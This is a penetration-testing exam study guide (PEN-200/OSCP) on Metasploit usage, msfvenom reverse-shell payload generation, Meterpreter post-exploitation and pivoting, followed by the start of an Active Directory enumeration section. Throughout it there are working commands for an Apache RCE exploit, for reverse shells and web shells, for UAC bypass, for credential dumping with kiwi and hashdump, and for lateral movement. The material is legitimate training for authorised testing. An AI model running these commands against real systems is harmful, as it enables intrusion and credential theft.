Metasploit (MSF) bundles scanners, exploits, payloads, post-exploitation and pivoting behind one console with a database. In PEN-200 it is used for enumeration (db_nmap, auxiliary scanners), exploitation (exploit modules with a chosen payload), payload generation (msfvenom), catching shells (multi/handler), post-exploitation (Meterpreter, kiwi, UAC bypass) and pivoting (routes, SOCKS, portfwd).

Exam rule that decides how you use this section: auxiliary, exploit and post modules and the Meterpreter payload may be used against ONE exam machine, chosen once; running check already counts, and a failed attempt does not give the choice back. msfvenom and multi/handler are allowed on every machine, as long as the payload is a plain shell and not Meterpreter. Pivoting with routes or socks_proxy touches more than one machine and is therefore out. Every block below carries an # exam: note.

Practical rule: keep one msfconsole open with multi/handler as a background job for plain shells all exam long, and spend the Metasploit allowance deliberately (a known exploit module for a service you cannot exploit by hand, or getsystem/kiwi on the Windows box where manual privesc is slow).

Setup and database

# First run on Kali: MSF uses PostgreSQL, which is not running or enabled by default
kali@kali:~$ sudo msfdb init
kali@kali:~$ sudo systemctl enable postgresql
# Config lands in /usr/share/metasploit-framework/config/database.yml

# Start the console (-q hides the banner); check the DB connection
kali@kali:~$ sudo msfconsole -q
msf6 > db_status
# [*] Connected to msf. Connection type: postgresql.

# One workspace per assessment / per exam machine keeps hosts, services and creds separated
msf6 > workspace
msf6 > workspace -a pen200
msf6 > workspace <name>          # switch

Enumeration from the console

# exam: db_nmap is just nmap with results stored in the DB; it is not an auxiliary module
msf6 > db_nmap -A <TARGET>
msf6 > db_nmap -sV -p- <TARGET>

# Query what the DB knows
msf6 > hosts
msf6 > services
msf6 > services -p 445
msf6 > vulns                     # findings modules recorded, for example "SMB Signing Is Not Required"
msf6 > creds                     # every credential a module found
msf6 > loot ; notes

# Feed RHOSTS from the DB into the current module
msf6 auxiliary(scanner/smb/smb_version) > services -p 445 --rhosts

Auxiliary modules

# exam: running ANY auxiliary module against a machine locks your single Metasploit choice to that machine
# Find modules
msf6 > show -h                   # all, encoders, nops, exploits, payloads, auxiliary, post, plugins, info, options
msf6 > show auxiliary
msf6 > search type:auxiliary smb
msf6 > search type:auxiliary ssh

# Use by index or full name, inspect, set, run
msf6 > use 56
msf6 > use auxiliary/scanner/smb/smb_version
msf6 auxiliary(scanner/smb/smb_version) > info
msf6 auxiliary(scanner/smb/smb_version) > show options
msf6 auxiliary(scanner/smb/smb_version) > show missing
msf6 auxiliary(scanner/smb/smb_version) > set RHOSTS <TARGET>
msf6 auxiliary(scanner/smb/smb_version) > unset RHOSTS
msf6 auxiliary(scanner/smb/smb_version) > run
# [*] <TARGET>:445 - SMB Detected (versions:2, 3) ... (signatures:optional)
msf6 auxiliary(scanner/smb/smb_version) > vulns
# SSH password attack from MSF (opens a session on success, unlike hydra)
# exam: auxiliary module. Manual alternative for all other machines: hydra -l <USER> -P <WORDLIST> -s <PORT> ssh://<TARGET>
msf6 > use auxiliary/scanner/ssh/ssh_login
msf6 auxiliary(scanner/ssh/ssh_login) > show options
# PASSWORD, PASS_FILE, RHOSTS, RPORT (22), STOP_ON_SUCCESS, THREADS, USERNAME, USERPASS_FILE ("user pass" per line), USER_AS_PASS, USER_FILE
msf6 auxiliary(scanner/ssh/ssh_login) > set PASS_FILE /usr/share/wordlists/rockyou.txt
msf6 auxiliary(scanner/ssh/ssh_login) > set USERNAME <USER>
msf6 auxiliary(scanner/ssh/ssh_login) > set RHOSTS <TARGET>
msf6 auxiliary(scanner/ssh/ssh_login) > set RPORT 2222
msf6 auxiliary(scanner/ssh/ssh_login) > run
# [+] <TARGET>:2222 - Success: 'george:chocolate' ...
# [*] SSH session 1 opened
msf6 auxiliary(scanner/ssh/ssh_login) > creds

# Other scanners the course lists under auxiliary/scanner/smb/: smb_enumshares, smb_enumusers, smb_login,
# smb_lookupsid, smb_ms17_010, smb_enum_gpp, pipe_auditor, psexec_loggedin_users, impacket/secretsdump

Exploit modules

# exam: this is the one-machine allowance. Decide first, then use. `check` counts.
# Search by product and version (course example: Apache 2.4.49, CVE-2021-41773 / CVE-2021-42013)
msf6 > workspace -a exploits
msf6 > search Apache 2.4.49
# 0 exploit/multi/http/apache_normalize_path_rce   excellent  Yes  Apache 2.4.49/2.4.50 Traversal RCE
# 1 auxiliary/scanner/http/apache_normalize_path   normal     No   ... scanner
msf6 > search cve:2021 type:exploit platform:windows
msf6 > search name:smb type:exploit

# Always read info before running: side effects, stability, reliability, targets, check support
msf6 > use 0
msf6 exploit(multi/http/apache_normalize_path_rce) > info
# Module side effects: ioc-in-logs, artifacts-on-disk
# Module stability: crash-safe
# Module reliability: repeatable-session        <- one-shot modules say so here; a revert costs time
# Available targets: 0 Automatic (Dropper) / 1 Unix Command (In-Memory)
# Check supported: Yes

msf6 exploit(multi/http/apache_normalize_path_rce) > show options
msf6 exploit(multi/http/apache_normalize_path_rce) > show targets
msf6 exploit(multi/http/apache_normalize_path_rce) > show payloads     # only payloads compatible with this exploit
msf6 exploit(multi/http/apache_normalize_path_rce) > show advanced

# Set the payload yourself, never trust the default; then the target options; then run
msf6 exploit(multi/http/apache_normalize_path_rce) > set payload linux/x64/shell_reverse_tcp
msf6 exploit(multi/http/apache_normalize_path_rce) > set SSL false
msf6 exploit(multi/http/apache_normalize_path_rce) > set RPORT 80
msf6 exploit(multi/http/apache_normalize_path_rce) > set RHOSTS <TARGET>
msf6 exploit(multi/http/apache_normalize_path_rce) > set LHOST <KALI_IP>      # check this on multi-NIC Kali (tun0)
msf6 exploit(multi/http/apache_normalize_path_rce) > set LPORT 443            # 4444 is often filtered
msf6 exploit(multi/http/apache_normalize_path_rce) > check                    # exam: counts as use
msf6 exploit(multi/http/apache_normalize_path_rce) > run
# [*] Started reverse TCP handler on <KALI_IP>:443
# [+] http://<TARGET>:80 - The target is vulnerable to CVE-2021-42013 (mod_cgi is enabled).
# [*] Command shell session 2 opened
# [!] This exploit may require manual cleanup of '/tmp/ruGC' on the target
id
# MSF starts the matching listener itself; no separate nc needed.
msf6 exploit(...) > run -j            # as a background job; interact later with sessions -i
msf6 exploit(...) > exploit           # same as run

Sessions and jobs

# Ctrl+Z inside a session: "Background session 2? [y/N] y"
msf6 > sessions -l                    # list
msf6 > sessions -i 2                  # interact
msf6 > sessions -k 2                  # kill
msf6 > sessions -u 2                  # upgrade a plain shell session to Meterpreter (exam: that is Meterpreter use)
msf6 > jobs                           # background handlers / exploits
msf6 > jobs -k 1
# sessions = access to targets; jobs = modules running in the background

Payloads: staged, non-staged, Meterpreter

# Naming: a "/" between shell|meterpreter and the transport means STAGED (small stager pulls the rest),
# an "_" means INLINE / non-staged (self-contained).
#   linux/x64/shell/reverse_tcp        staged command shell      (needs multi/handler, nc cannot stage)
#   linux/x64/shell_reverse_tcp        non-staged command shell  (nc works)
#   windows/x64/meterpreter/reverse_tcp      staged Meterpreter
#   windows/x64/meterpreter_reverse_https    non-staged Meterpreter over HTTPS
# Staged: use when buffer space is small or to keep the exploit itself free of recognisable shellcode.
# Non-staged: more reliable, less traffic, catch with nc. Course uses non-staged Meterpreter for post-ex.
msf6 exploit(multi/http/apache_normalize_path_rce) > show payloads
msf6 exploit(multi/http/apache_normalize_path_rce) > set payload 15            # by index from show payloads
msf6 exploit(multi/http/apache_normalize_path_rce) > set payload linux/x64/meterpreter_reverse_tcp
msf6 exploit(multi/http/apache_normalize_path_rce) > set payload linux/x64/meterpreter_reverse_https
msf6 exploit(multi/http/apache_normalize_path_rce) > show options             # LURI = HTTP path for the HTTPS handler, blank = /
msf6 exploit(multi/http/apache_normalize_path_rce) > run
# [*] Meterpreter session 4 opened
# HTTPS Meterpreter looks like web traffic; browsing to the handler port returns 404.
# exam: Meterpreter is only allowed on the one chosen machine. Everywhere else: shell_reverse_tcp / shell/reverse_tcp.

msfvenom

# exam: msfvenom is allowed on all targets. Pick shell_reverse_tcp (not meterpreter) outside your one Metasploit machine.
# List payloads for a platform and architecture
kali@kali:~$ msfvenom -l payloads --platform windows --arch x64
kali@kali:~$ msfvenom -l payloads | grep linux/x64
kali@kali:~$ msfvenom -l formats
kali@kali:~$ msfvenom -l encoders

# Windows non-staged reverse shell EXE (course listing); serve it, run it, catch with nc
kali@kali:~$ msfvenom -p windows/x64/shell_reverse_tcp LHOST=<KALI_IP> LPORT=443 -f exe -o nonstaged.exe
kali@kali:~$ python3 -m http.server 80
PS C:\Users\justin> iwr -uri http://<KALI_IP>/nonstaged.exe -Outfile nonstaged.exe
PS C:\Users\justin> .\nonstaged.exe
kali@kali:~$ nc -nvlp 443
# connect to [<KALI_IP>] from (UNKNOWN) [<TARGET>] ...
# C:\Users\justin>

# Windows staged reverse shell EXE: nc gets the connection but commands do nothing; needs multi/handler
kali@kali:~$ msfvenom -p windows/x64/shell/reverse_tcp LHOST=<KALI_IP> LPORT=443 -f exe -o staged.exe

# Windows Meterpreter EXE (course listing)      exam: Meterpreter = your one machine only
kali@kali:~$ msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=<KALI_IP> LPORT=443 -f exe -o met.exe

# Shellcode for a public exploit you are fixing (module 14): C format, encoder, bad characters
kali@kali:~$ msfvenom -p windows/shell_reverse_tcp LHOST=<KALI_IP> LPORT=443 -e x86/shikata_ga_nai -b "\x00\x0a\x0d" -f c
kali@kali:~$ msfvenom -p windows/shell_reverse_tcp LHOST=<KALI_IP> LPORT=443 EXITFUNC=thread -f python -b "\x00"

# Raw Python Meterpreter stage used by the course on a Linux/cloud host (module 26)
kali@kali:~$ msfvenom -p python/meterpreter/reverse_tcp LHOST=<KALI_IP> LPORT=443 -f raw -o met.py

# Web shells and other file types (standard msfvenom formats; course mentions PHP web shell + .pHP upload trick)
kali@kali:~$ msfvenom -p php/reverse_php LHOST=<KALI_IP> LPORT=443 -f raw -o shell.php      # rename to shell.pHP against extension filters
kali@kali:~$ msfvenom -p java/jsp_shell_reverse_tcp LHOST=<KALI_IP> LPORT=443 -f war -o shell.war
kali@kali:~$ msfvenom -p windows/x64/shell_reverse_tcp LHOST=<KALI_IP> LPORT=443 -f aspx -o shell.aspx
kali@kali:~$ msfvenom -p linux/x64/shell_reverse_tcp LHOST=<KALI_IP> LPORT=443 -f elf -o shell.elf
kali@kali:~$ msfvenom -p windows/x64/shell_reverse_tcp LHOST=<KALI_IP> LPORT=443 -f dll -o shell.dll
kali@kali:~$ msfvenom -p windows/x64/shell_reverse_tcp LHOST=<KALI_IP> LPORT=443 -f exe-service -o svc.exe   # for a service binary you can replace
kali@kali:~$ msfvenom -p windows/x64/shell_reverse_tcp LHOST=<KALI_IP> LPORT=443 -f msi -o shell.msi         # AlwaysInstallElevated
kali@kali:~$ msfvenom -p windows/x64/shell_reverse_tcp LHOST=<KALI_IP> LPORT=443 -f psh -o shell.ps1
kali@kali:~$ msfvenom -p cmd/unix/reverse_bash LHOST=<KALI_IP> LPORT=443 -f raw
# -x <template.exe> -k keeps a legitimate binary's behaviour and adds the payload (AV: see section 9)
NeedPayloadFormatCatch with
Windows shell, any machinewindows/x64/shell_reverse_tcp (x86: windows/shell_reverse_tcp)exe, exe-service, dll, msi, aspx, pshnc -nvlp or multi/handler
Windows staged shellwindows/x64/shell/reverse_tcpexemulti/handler only
Linux shelllinux/x64/shell_reverse_tcp (x86: linux/x86/...)elfnc -nvlp
Web shellphp/reverse_php, java/jsp_shell_reverse_tcp, windows/x64/shell_reverse_tcpraw (.php/.jsp), war, aspxnc -nvlp
Shellcode for an exploitwindows/shell_reverse_tcp + -e x86/shikata_ga_nai -b <badchars>c, python, csharp, rawnc -nvlp
Meterpreter (one machine)windows/x64/meterpreter/reverse_tcp, windows/x64/meterpreter_reverse_https, linux/x64/meterpreter_reverse_tcpexe, elf, rawmulti/handler only

multi/handler

# exam: allowed on all targets. The handler payload must match what msfvenom produced (staged vs non-staged, arch, transport).
msf6 > use multi/handler
msf6 exploit(multi/handler) > set payload windows/x64/shell/reverse_tcp
msf6 exploit(multi/handler) > show options          # EXITFUNC process|thread|seh|none, LHOST, LPORT
msf6 exploit(multi/handler) > set LHOST <KALI_IP>
msf6 exploit(multi/handler) > set LPORT 443
msf6 exploit(multi/handler) > run
# [*] Started reverse TCP handler on <KALI_IP>:443
# [*] Sending stage (336 bytes) to <TARGET>
# [*] Command shell session 6 opened
C:\Users\justin> whoami

# Keep it running in the background and keep accepting connections
msf6 exploit(multi/handler) > set ExitOnSession false
msf6 exploit(multi/handler) > run -j            # -j background job, -z do not auto-interact
msf6 exploit(multi/handler) > jobs
msf6 exploit(multi/handler) > sessions -i 7
# Non-staged shells can also just be caught with: nc -nvlp 443   (or rlwrap nc -nvlp 443 for history/arrows)

Meterpreter: core commands

# exam: only on the one chosen machine
meterpreter > help
meterpreter > sysinfo ; getuid ; getpid
meterpreter > idletime                       # is a user active? check before anything that pops a window
meterpreter > ps
meterpreter > shell                          # native cmd/bash in a channel; Ctrl+Z backgrounds the channel
meterpreter > channel -l ; channel -i 1
meterpreter > background                     # or bg; back to msf6 >

# File system: "l" prefix = local Kali side
meterpreter > pwd ; ls ; cd C:\\Users          # escape backslashes on Windows paths
meterpreter > lpwd ; lcd /home/kali/Downloads ; lls
meterpreter > download /etc/passwd
meterpreter > download C:\\Users\\admin\\Desktop\\proof.txt
meterpreter > upload /usr/bin/unix-privesc-check /tmp/
meterpreter > upload /home/kali/winPEASx64.exe C:\\Windows\\Temp\\
meterpreter > search -f passwords*            # find files by name
meterpreter > cat C:\\xampp\\passwords.txt
meterpreter > edit /etc/hosts
meterpreter > getenv Flag                     # read an environment variable
meterpreter > execute -H -f notepad           # -H hidden window, -f program
meterpreter > execute -f cmd.exe -i -H        # interactive hidden cmd
meterpreter > screenshare ; screenshot
meterpreter > hashdump                        # SAM hashes, needs SYSTEM
meterpreter > load powershell ; powershell_shell
meterpreter > load kiwi

Meterpreter: privilege escalation and process migration

# getsystem = named pipe impersonation / token duplication; needs SeImpersonatePrivilege or SeDebugPrivilege
meterpreter > shell
C:\Users\luiza> whoami /priv
# SeImpersonatePrivilege  Impersonate a client after authentication  Enabled
C:\Users\luiza> exit
meterpreter > getsystem
# ...got system via technique 5 (Named Pipe Impersonation (PrintSpooler variant)).
meterpreter > getuid
# Server username: NT AUTHORITY\SYSTEM
# Manual alternative on other machines: SigmaPotato / PrintSpoofer style abuse of SeImpersonatePrivilege (section 11)

# Migrate to survive the original process dying and to run as another logged-on user
meterpreter > ps
meterpreter > migrate <PID>                   # only into same or lower integrity; after migrating into a user's process you ARE that user
meterpreter > execute -H -f notepad           # nothing suitable? spawn a hidden process and migrate into it
meterpreter > migrate <NEW_PID>
# "undefined method `pid' for nil" on migrate -> update Metasploit

Post modules: UAC bypass and kiwi (mimikatz)

# Local admin but Medium integrity (UAC filtered token)? Check the integrity level first
meterpreter > shell
C:\Windows\system32> powershell -ep bypass
PS C:\Windows\system32> Import-Module NtObjectManager
PS C:\Windows\system32> Get-NtTokenIntegrityLevel
# Medium
PS C:\Windows\system32> ^Z
meterpreter > bg

# exam: post / local exploit modules count as Metasploit use (same machine as the Meterpreter session, so fine)
msf6 > search UAC
# 11 exploit/windows/local/bypassuac_sdclt          excellent  Yes
# 12 exploit/windows/local/bypassuac_silentcleanup  excellent  No
msf6 > use exploit/windows/local/bypassuac_sdclt
msf6 exploit(windows/local/bypassuac_sdclt) > show options       # SESSION, PAYLOAD_NAME, LHOST, LPORT
msf6 exploit(windows/local/bypassuac_sdclt) > set SESSION 9
msf6 exploit(windows/local/bypassuac_sdclt) > set LHOST <KALI_IP>
msf6 exploit(windows/local/bypassuac_sdclt) > run
# [+] Part of Administrators group! Continuing...
# [*] Meterpreter session 10 opened
# -> Get-NtTokenIntegrityLevel now prints High

# Credential dumping with kiwi (needs SYSTEM: getsystem first)
meterpreter > getsystem
meterpreter > load kiwi
meterpreter > creds_msv                      # NTLM hashes of logged-on users
meterpreter > creds_all
meterpreter > lsa_dump_sam
meterpreter > lsa_dump_secrets
meterpreter > kerberos_ticket_list
meterpreter > dcsync_ntlm <DOMAIN>\\<USER>   # from a DA session: NTLM of any account
meterpreter > kiwi_cmd "sekurlsa::logonpasswords"
# Manual alternative (any machine): upload mimikatz.exe -> privilege::debug ; token::elevate ; sekurlsa::logonpasswords ; lsadump::sam

# Other post modules the course points at
msf6 > search post/windows/gather          # for example enum_hostfile, hashdump, credentials/*
msf6 > use post/windows/gather/enum_hostfile
msf6 post(windows/gather/enum_hostfile) > set SESSION 9
msf6 post(windows/gather/enum_hostfile) > run
msf6 > use post/multi/recon/local_exploit_suggester
msf6 post(multi/recon/local_exploit_suggester) > set SESSION 9
msf6 post(multi/recon/local_exploit_suggester) > run

Pivoting with Metasploit

# exam: routes, autoroute, socks_proxy and psexec through a route use Metasploit against a second machine, which is
# not allowed. Learn it for the labs; in the exam pivot with ssh -D / chisel (sections 13 and 14) and attack the
# internal host by hand. Only the lab flow follows.

# Found a second NIC on the foothold? That subnet is the pivot target
C:\Users\luiza> ipconfig
# Ethernet0 192.168.50.223 / Ethernet1 172.16.5.199

# Route the internal subnet through the Meterpreter session
meterpreter > bg
msf6 > route add 172.16.5.0/24 12            # <subnet> <session id>
msf6 > route print
msf6 > route flush                            # remove all routes

# Or let the post module read the host routing table
msf6 > use multi/manage/autoroute
msf6 post(multi/manage/autoroute) > set session 12
msf6 post(multi/manage/autoroute) > run        # CMD autoadd (add, autoadd, print, delete, default)

# Scan through the route with an MSF scanner (only the ports you need, it is slow)
msf6 > use auxiliary/scanner/portscan/tcp
msf6 auxiliary(scanner/portscan/tcp) > set RHOSTS 172.16.5.200
msf6 auxiliary(scanner/portscan/tcp) > set PORTS 445,3389
msf6 auxiliary(scanner/portscan/tcp) > run

# Exploit through the route: the payload MUST be a bind payload (a reverse shell cannot find its way back)
msf6 > use exploit/windows/smb/psexec
msf6 exploit(windows/smb/psexec) > set SMBUser <USER>                 # must be local admin on the internal host
msf6 exploit(windows/smb/psexec) > set SMBPass "<PASS>"
msf6 exploit(windows/smb/psexec) > set RHOSTS 172.16.5.200
msf6 exploit(windows/smb/psexec) > set payload windows/x64/meterpreter/bind_tcp
msf6 exploit(windows/smb/psexec) > set LPORT 8000
msf6 exploit(windows/smb/psexec) > run
# [*] Meterpreter session 13 opened (172.16.5.199:51785 -> 172.16.5.200:8000 via session 12)

# SOCKS proxy on Kali so non-MSF tools can use the route (default port 1080)
msf6 > use auxiliary/server/socks_proxy
msf6 auxiliary(server/socks_proxy) > set SRVHOST 127.0.0.1
msf6 auxiliary(server/socks_proxy) > set VERSION 5
msf6 auxiliary(server/socks_proxy) > run -j
kali@kali:~$ tail /etc/proxychains4.conf            # socks5 127.0.0.1 1080
kali@kali:~$ sudo proxychains xfreerdp /v:172.16.5.200 /u:<USER>
kali@kali:~$ proxychains nmap -sT -Pn -p 445,3389 172.16.5.200

# Single port: Meterpreter portfwd
meterpreter > portfwd add -l 3389 -p 3389 -r 172.16.5.200      # -l local port, -p remote port, -r remote host, -R reverse
meterpreter > portfwd list ; portfwd delete -l 3389 ; portfwd flush
kali@kali:~$ sudo xfreerdp /v:127.0.0.1 /u:<USER>

# Exam-safe equivalents (no Metasploit on the second host):
#   ssh -D 1080 <USER>@<PIVOT>            + proxychains            (section 13)
#   chisel server --port 8080 --reverse   + chisel client <KALI>:8080 R:socks   (section 14)
#   impacket-psexec <DOMAIN>/<USER>:'<PASS>'@172.16.5.200 through proxychains, or xfreerdp through proxychains

Resource scripts and global options

# ~/listener.rc : a handler that survives connections and migrates automatically
use exploit/multi/handler
set PAYLOAD windows/x64/shell_reverse_tcp      # exam: plain shell for the general-purpose listener
set LHOST <KALI_IP>
set LPORT 443
set ExitOnSession false
run -z -j
# Course version for the one Meterpreter machine adds:
#   set PAYLOAD windows/meterpreter_reverse_https
#   set AutoRunScript post/windows/manage/migrate     (spawns a hidden notepad.exe and migrates into it)

kali@kali:~$ sudo msfconsole -q -r listener.rc
# Built-in scripts (review before use): /usr/share/metasploit-framework/scripts/resource/
kali@kali:~$ ls -l /usr/share/metasploit-framework/scripts/resource
# auto_brute.rc  auto_pass_the_hash.rc  auto_win32_multihandler.rc  portscan.rc  smb_checks.rc  ...

# Global datastore: set once for every module (some built-in scripts rely on it)
msf6 > setg RHOSTS <TARGET>
msf6 > setg LHOST <KALI_IP>
msf6 > unsetg RHOSTS
# set / unset only touch the current module; show advanced lists options such as AutoRunScript

Spending the one Metasploit machine

Situation on a machineUse Metasploit here?Why
Service with a reliable exploit module and a messy or missing public PoC (reliability "repeatable-session", check supported)Good candidateSaves the hours a broken PoC costs; keep the manual alternative noted for the report
Windows foothold where manual privesc is unclear but SeImpersonatePrivilege or local admin is presentGood candidategetsystem, bypassuac_sdclt, kiwi dump the box in minutes; lsass access also gives domain creds
Linux box with an obvious manual path (sudo, SUID, cron)NoManual is faster and keeps the allowance
Anything reachable only through a pivotNoRouting through MSF touches two machines
AD setUsually noImpacket, mimikatz, Rubeus, evil-winrm cover everything in the course and are allowed everywhere
# Before touching a module: write down which machine you chose and the time, then proceed. Never run check elsewhere.
# After the chosen machine: close the Meterpreter handlers, keep only the plain-shell multi/handler job running.
msf6 > jobs ; jobs -k <id>
msf6 > sessions -K            # kill all sessions

16. Active Directory Enumeration

16.1 Theory: AD enumeration

The OSCP+ AD set is an assumed breach: you get a standard domain user's username and password, and the goal is the DC (10 + 10 + 20 points, partial points count). The course enumerates from a domain-joined Windows client over RDP with net.exe, .NET/ADSI LDAP queries, PowerView and SharpHound, then reads the graph in BloodHound on Kali. You are looking for five things: hosts where your user is local admin, hosts where privileged users have sessions (their creds sit in LSASS there), user accounts with SPNs, ACL misconfigurations, and readable shares with passwords. Every new user or host you own means running the enumeration again, because admins grant individual users extra rights.

16.2 Assumed breach: first moves with the given password

# 0. One folder per target plus shared loot files; add every user, password and hash you find
kali@kali:~$ mkdir <ENGAGEMENT> && cd <ENGAGEMENT>
kali@kali:~/<ENGAGEMENT>$ touch creds.txt computer.txt usernames.txt passwords.txt

# 1. Validate the creds against all Windows hosts in the AD set
#    domain name shown in output = host is domain-joined; (Pwn3d!) = you are local admin there
kali@kali:~$ crackmapexec smb <TARGETS> -u <USER> -p '<PASS>' -d <DOMAIN> --continue-on-success

# 2. List the shares you can read with those creds (SYSVOL, NETLOGON, custom shares)
kali@kali:~$ crackmapexec smb <TARGETS> -u <USER> -p '<PASS>' -d <DOMAIN> --shares

# 3. Cheap Kerberos checks straight from Kali, no foothold needed (details in section 17)
# list AS-REP roastable users (no -request = list only)
kali@kali:~$ impacket-GetNPUsers -dc-ip <DC_IP> <DOMAIN>/<USER>
# request TGS hashes for every user-account SPN
kali@kali:~$ sudo impacket-GetUserSPNs -request -dc-ip <DC_IP> <DOMAIN>/<USER>

# 4. RDP to the host you were given (not WinRM: Kerberos double hop breaks PowerView/SharpHound there)
kali@kali:~$ xfreerdp /cert-ignore /u:<USER> /d:<DOMAIN> /p:'<PASS>' /v:<TARGET>

# 5. Serve your Windows tools from Kali, then pull them onto the client
kali@kali:~/tools$ python3 -m http.server 80
PS C:\Users\<USER>> iwr -uri http://<LHOST>/PowerView.ps1 -Outfile PowerView.ps1
PS C:\Users\<USER>> iwr -uri http://<LHOST>/SharpHound.ps1 -Outfile SharpHound.ps1
# Gotchas for the start position
# - escape "!" in passwords on the Kali shell: -p "Pass\!" or use single quotes
# - crackmapexec STATUS_LOGON_FAILURE does not tell a wrong password from a non-existent user
# - crackmapexec 5.4.0 can time out against the DC or print nothing; 5.4.1 fixes it
# - a host that does not answer ping is not necessarily down: scan with -Pn

16.3 Legacy tools: net.exe

# All domain users (/domain = ask the DC, not the local SAM)
C:\Users\<USER>>net user /domain

# One user: look at Global Group memberships for *Domain Admins, admin-style names (jeffadmin)
C:\Users\<USER>>net user <TARGET_USER> /domain

# All domain groups (custom ones like "Sales Department" are interesting)
C:\Users\<USER>>net group /domain

# Members of one group (users only: nested groups are NOT shown)
PS C:\Tools> net group "<GROUP>" /domain

16.4 PowerShell and .NET: LDAP queries without RSAT

# When: no RSAT (Get-ADUser exists only on DCs and needs admin to install). ADSI works as any domain user.
# Current domain object; PdcRoleOwner = the PDC, the DC with the freshest data
PS C:\Users\<USER>> [System.DirectoryServices.ActiveDirectory.Domain]::GetCurrentDomain()

# Allow script execution in this session, then run your script
PS C:\Users\<USER>> powershell -ep bypass
PS C:\Users\<USER>> .\enumeration.ps1
# enumeration.ps1: build the LDAP path LDAP://HostName[:PortNumber][/DistinguishedName]
$domainObj = [System.DirectoryServices.ActiveDirectory.Domain]::GetCurrentDomain()
$PDC = $domainObj.PdcRoleOwner.Name
# two single quotes = top of the AD tree -> DC=corp,DC=com
$DN = ([adsi]'').distinguishedName
$LDAP = "LDAP://$PDC/$DN"

# Search: DirectoryEntry = SearchRoot, DirectorySearcher does the query
$direntry = New-Object System.DirectoryServices.DirectoryEntry($LDAP)
$dirsearcher = New-Object System.DirectoryServices.DirectorySearcher($direntry)
# 805306368 (0x30000000) = normal user accounts
$dirsearcher.filter="samAccountType=805306368"

# Print every property of every result
$result = $dirsearcher.FindAll()
Foreach($obj in $result)
{
  Foreach($prop in $obj.Properties)
  {
    $prop
  }
  Write-Host "-------------------------------"
}
# Narrow to one object and one attribute (e.g. group membership of an admin-looking user)
$dirsearcher.filter="name=<TARGET_USER>"
# ...inside the inner loop print only:
$prop.memberof
# -> CN=Domain Admins,CN=Users,DC=corp,DC=com
# function.ps1: reusable LDAP search taking any LDAP filter
function LDAPSearch {
  param (
    [string]$LDAPQuery
  )
  $PDC = [System.DirectoryServices.ActiveDirectory.Domain]::GetCurrentDomain().PdcRoleOwner.Name
  $DistinguishedName = ([adsi]'').distinguishedName
  $DirectoryEntry = New-Object System.DirectoryServices.DirectoryEntry("LDAP://$PDC/$DistinguishedName")
  $DirectorySearcher = New-Object System.DirectoryServices.DirectorySearcher($DirectoryEntry, $LDAPQuery)
  return $DirectorySearcher.FindAll()
}
# Load the function, then query users and groups
PS C:\Users\<USER>> Import-Module .\function.ps1
PS C:\Users\<USER>> LDAPSearch -LDAPQuery "(samAccountType=805306368)"
PS C:\Users\<USER>> LDAPSearch -LDAPQuery "(objectclass=group)"

# Every group with its members (finds Domain Local groups net.exe misses)
PS C:\Users\<USER>> foreach ($group in $(LDAPSearch -LDAPQuery "(objectCategory=group)")) {
  $group.properties | select {$_.cn}, {$_.member}
}

# Unravel nested groups one level at a time (a group listed as member = nested group)
PS C:\Users\<USER>> $sales = LDAPSearch -LDAPQuery "(&(objectCategory=group)(cn=<GROUP>))"
PS C:\Users\<USER>> $sales.properties.member
PS C:\Users\<USER>> $group = LDAPSearch -LDAPQuery "(&(objectCategory=group)(cn=<NESTED_GROUP>*))"
PS C:\Users\<USER>> $group.properties.member

16.5 PowerView: users, groups, computers

# Load PowerView (Kali copy: /usr/share/windows-resources/powersploit/Recon/PowerView.ps1)
PS C:\Tools> Import-Module .\PowerView.ps1

# Domain info (same as GetCurrentDomain)
PS C:\Tools> Get-NetDomain

# All users, all attributes, then trimmed views
PS C:\Tools> Get-NetUser
PS C:\Tools> Get-NetUser | select cn
# old pwdlastset = password from before a policy change (weaker); old lastlogon = dormant account
PS C:\Tools> Get-NetUser | select cn,pwdlastset,lastlogon

# Groups and their members
PS C:\Tools> Get-NetGroup | select cn
PS C:\Tools> Get-NetGroup "<GROUP>" | select member

# Computer objects: OS and hostname without a port scan; oldest OS = weakest target
PS C:\Tools> Get-NetComputer
PS C:\Tools> Get-NetComputer | select operatingsystem,dnshostname
PS C:\Tools> Get-NetComputer | select dnshostname,operatingsystem,operatingsystemversion

16.6 Local admin rights and logged-on users

# Where is the current user local admin? (tries OpenServiceW/SC_MANAGER_ALL_ACCESS on every computer)
PS C:\Tools> Find-LocalAdminAccess
# -> client74.corp.com
# also takes -ComputerName and -Credential

# Who has a session on a host (NetSessionEnum level 10, works without admin on old builds)
PS C:\Tools> Get-NetSession -ComputerName <TARGET_HOST>
# empty result? add -Verbose: "Access is denied" is normal on Win10 1709+ / Server 2019 1809+
PS C:\Tools> Get-NetSession -ComputerName <TARGET_HOST> -Verbose

# Why it fails: the SrvsvcSessionInfo ACL under this key controls NetSessionEnum
PS C:\Tools> Get-Acl -Path HKLM:SYSTEM\CurrentControlSet\Services\LanmanServer\DefaultSecurity\ | fl
# Fallback: PsLoggedOn (Sysinternals) reads logons through the Remote Registry service
# Remote Registry: off on workstations since Win8, on by default on Server 2012R2/2016/2019/2022
PS C:\Tools\PSTools> .\PsLoggedon.exe \\<TARGET_HOST>
# -> Users logged on locally: <unknown time> CORP\jeffadmin
# "No one is logged on" can be a false negative when Remote Registry is off
# Attack path pattern the course finds this way:
# you are local admin on HOST-A (Find-LocalAdminAccess) + a Domain Admin is logged on HOST-A (PsLoggedon)
# -> log in to HOST-A, run mimikatz sekurlsa::logonpasswords, take the DA hash (section 17.3)

16.7 Service Principal Names

# SPNs for one account: shows which host/port the service account runs on
c:\Tools>setspn -L <SERVICE_USER>
# -> HTTP/web04.corp.com:80

# Every account with an SPN (= Kerberoasting candidates, section 17.7); skip krbtgt
PS C:\Tools> Get-NetUser -SPN | select samaccountname,serviceprincipalname

# Resolve the SPN host to an IP
PS C:\Tools\> nslookup.exe <SPN_HOST_FQDN>

16.8 Object permissions (ACL / ACE)

RightWhat it lets you do to the object
GenericAllFull control (most powerful)
GenericWriteEdit certain attributes (e.g. set an SPN or UAC flag: targeted roast)
WriteOwnerChange the owner
WriteDACLEdit the ACEs (grant yourself GenericAll)
AllExtendedRightsChange / reset password and other extended rights
ForceChangePasswordReset the password
Self (Self-Membership)Add yourself to a group
# ACEs on an object; read ActiveDirectoryRights, SecurityIdentifier (who), ObjectSID (on what)
PS C:\Tools> Get-ObjectAcl -Identity <TARGET_USER>

# SID -> name
PS C:\Tools> Convert-SidToName <SID>

# Who has GenericAll on a group (swap the right to hunt for others)
